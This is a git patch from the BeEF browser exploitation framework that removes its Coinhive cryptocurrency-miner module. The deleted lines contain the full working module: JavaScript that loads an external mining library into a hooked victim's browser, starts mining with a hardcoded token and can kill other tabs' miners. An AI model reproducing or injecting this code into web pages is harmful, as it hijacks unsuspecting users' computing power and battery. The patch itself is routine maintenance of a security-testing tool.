From c2d82ace7d970e2b60dca740096517b301a61b84 Mon Sep 17 00:00:00 2001
From: Brendan Coles
Date: Sun, 21 Jul 2019 22:06:57 +0000
Subject: [PATCH] Remove CoinHive module
---
modules/misc/coinhive_miner/command.js | 92 -------------------------
modules/misc/coinhive_miner/config.yaml | 15 ----
modules/misc/coinhive_miner/module.rb | 33 ---------
3 files changed, 140 deletions(-)
delete mode 100644 modules/misc/coinhive_miner/command.js
delete mode 100644 modules/misc/coinhive_miner/config.yaml
delete mode 100644 modules/misc/coinhive_miner/module.rb
diff --git a/modules/misc/coinhive_miner/command.js b/modules/misc/coinhive_miner/command.js
deleted file mode 100644
index 2a8993f84..000000000
--- a/modules/misc/coinhive_miner/command.js
+++ /dev/null
@@ -1,92 +0,0 @@
-//
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
-// Browser Exploitation Framework (BeEF) - http://beefproject.com
-// See the file 'doc/COPYING' for copying permission
-//
-beef.execute(function() {
- var comm_url = '<%= @command_url %>';
- var comm_id = <%= @command_id %>;
-
- if (!beef.browser.hasWebSocket()) {
- beef.debug('[CoinHive] Error: browser does not support WebSockets');
- beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebSockets", beef.are.status_error());
- return;
- }
-
- if (!beef.browser.hasWebWorker()) {
- beef.debug('[CoinHive] Error: browser does not support WebWorkers');
- beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebWorkers", beef.are.status_error());
- return;
- }
-
- var mobile_enabled = '<%= @mobile_enabled %>';
- if (beef.hardware.isMobileDevice() && !mobile_enabled) {
- beef.debug('[CoinHive] Error: browser is a mobile device');
- beef.net.send(comm_url, comm_id, "error=unsupported browser - mobile device", beef.are.status_error());
- return;
- }
-
- load_script = function(url) {
- var s = document.createElement('script');
- s.type = 'text/javascript';
- s.src = url;
- document.body.appendChild(s);
- }
-
- beef.debug("[CoinHive] Loading library...");
- load_script('https://coinhive.com/lib/coinhive.min.js');
-
- try {
- setTimeout("mine('<%= @public_token %>', CoinHive.<%= @mode %>)", 10000);
- } catch(e) {
- beef.debug("[CoinHive] Error loading miner: " + e.message);
- beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
- return;
- }
-
- mine = function(token, mode) {
- beef.debug("[CoinHive] Starting the miner...");
- beef.net.send(comm_url, comm_id, 'result=Starting the miner');
-
- try {
- var miner = new CoinHive.Anonymous(token);
- miner.start(mode);
- } catch(e) {
- beef.debug("[CoinHive] Error starting miner: " + e.message);
- beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
- return;
- }
-
- miner.on('open', function() {
- beef.debug("[CoinHive] Opened connection to pool successfully");
- beef.net.send(comm_url, comm_id, 'result=Opened connection to pool successfully', beef.are.status_success());
- })
- miner.on('authed', function() {
- beef.debug("[CoinHive] Authenticated successfully");
- beef.net.send(comm_url, comm_id, 'result=Authenticated successfully', beef.are.status_success());
- })
- miner.on('error', function(params) {
- beef.debug("[CoinHive] The pool reported an error: " + params.error);
- if (params.error === 'invalid_site_key') {
- miner.stop();
- beef.net.send(comm_url, comm_id, 'error=' + params.error, beef.are.status_error());
- return;
- }
- })
- miner.on('found', function() {
- beef.debug("[CoinHive] Hash found");
- })
- miner.on('accepted', function() {
- beef.debug("[CoinHive] Hash accepted by the pool");
- })
-
- setInterval(function() {
- if (miner.isRunning()) {
- var hashesPerSecond = miner.getHashesPerSecond();
- var totalHashes = miner.getTotalHashes();
- var acceptedHashes = miner.getAcceptedHashes();
- beef.debug("[CoinHive] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
- }
- }, 60000)
- }
-});
diff --git a/modules/misc/coinhive_miner/config.yaml b/modules/misc/coinhive_miner/config.yaml
deleted file mode 100644
index b97ad1d98..000000000
--- a/modules/misc/coinhive_miner/config.yaml
+++ /dev/null
@@ -1,15 +0,0 @@
-#
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - http://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-beef:
- module:
- coinhive_miner:
- enable: true
- category: "Misc"
- name: "Coinhive Miner"
- description: "This module starts the Coinhive JavaScript Miner.
Note: Mining on mobile devices is slow and will drain the battery.
The following modes are available:
IF_EXCLUSIVE_TAB - The miner will only start if no other tabs are already mining. If all miners in other tabs are stopped or closed at a later point, the miner will then start. This ensures that one miner is always running as long as one tab of your site is open while keeping costly pool reconnections at a minimum.
FORCE_EXCLUSIVE_TAB - The miner will always start and immediately kill all miners in other tabs that have not specified 'FORCE_MULTI_TAB'.
FORCE_MULTI_TAB - The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners.
"
- authors: ["bcoles"]
- target:
- user_notify: ['ALL']
diff --git a/modules/misc/coinhive_miner/module.rb b/modules/misc/coinhive_miner/module.rb
deleted file mode 100644
index 1f2455513..000000000
--- a/modules/misc/coinhive_miner/module.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-#
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - http://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-class Coinhive_miner < BeEF::Core::Command
- def self.options
- [{ 'name' => 'public_token',
- 'description' => 'Public Token',
- 'ui_label' => 'Public Token',
- 'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV',
- 'type' => 'text' },
- { 'name' => 'mode',
- 'type' => 'combobox',
- 'ui_label' => 'Mode',
- 'store_type' => 'arraystore',
- 'store_fields' => ['mode'],
- 'store_data' => [ ['IF_EXCLUSIVE_TAB'], ['FORCE_EXCLUSIVE_TAB'], ['FORCE_MULTI_TAB'] ],
- 'value' => 'FORCE_EXCLUSIVE_TAB',
- 'valueField' => 'mode',
- 'displayField' => 'mode',
- 'mode' => 'local',
- 'autoWidth' => true },
- { 'name' => 'mobile_enabled',
- 'ui_label' => 'Run on Mobile Devices',
- 'type' => 'checkbox',
- 'checked' => false
- }]
- end
- def post_execute
- save({'result' => @datastore['result']})
- end
-end